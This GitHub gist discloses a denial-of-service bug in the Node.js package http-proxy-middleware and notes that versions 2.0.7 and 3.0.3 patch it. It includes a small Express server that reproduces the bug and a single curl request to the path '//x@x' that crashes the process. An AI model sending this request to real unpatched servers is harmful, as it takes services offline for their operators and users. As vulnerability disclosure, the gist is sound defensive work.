Skip to content

Instantly share code, notes, and snippets.

@mhassan1
Created October 18, 2024 03:20
Show Gist options
  • Save mhassan1/28be67266d82a53708ed59ce5dc3c94a to your computer and use it in GitHub Desktop.
Save mhassan1/28be67266d82a53708ed59ce5dc3c94a to your computer and use it in GitHub Desktop.
`http-proxy-middleware` Denial-of-Service exploit for certain paths
This describes an issue in `http-proxy-middleware` where the Node.js process dies due to `UnhandledPromiseRejection` when a user makes requests to certain paths. Here are steps to reproduce:
1. Run a server like this:
```js
const express = require('express')
const { createProxyMiddleware } = require('http-proxy-middleware')
const frontend = express()
frontend.use(createProxyMiddleware({
target: 'http://localhost:3031',
pathFilter: '*'
}))
frontend.listen(3030)
const backend = express()
backend.use((req, res) => res.send('ok'))
backend.listen(3031)
```
2. `curl 'localhost:3030//x@x'`
Expected: Response with payload `ok`
Actual: Server crashes with error `TypeError: Expected input to be a string` (from `micromatch`)
On v1 and v2 of `http-proxy-middleware`, it's also possible to exclude `pathFilter` and cause the server to crash with `TypeError: Cannot read properties of null (reading 'indexOf')` (from `matchSingleStringPath`).
This has been patched in v2.0.7 and v3.0.3 of `http-proxy-middleware`.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment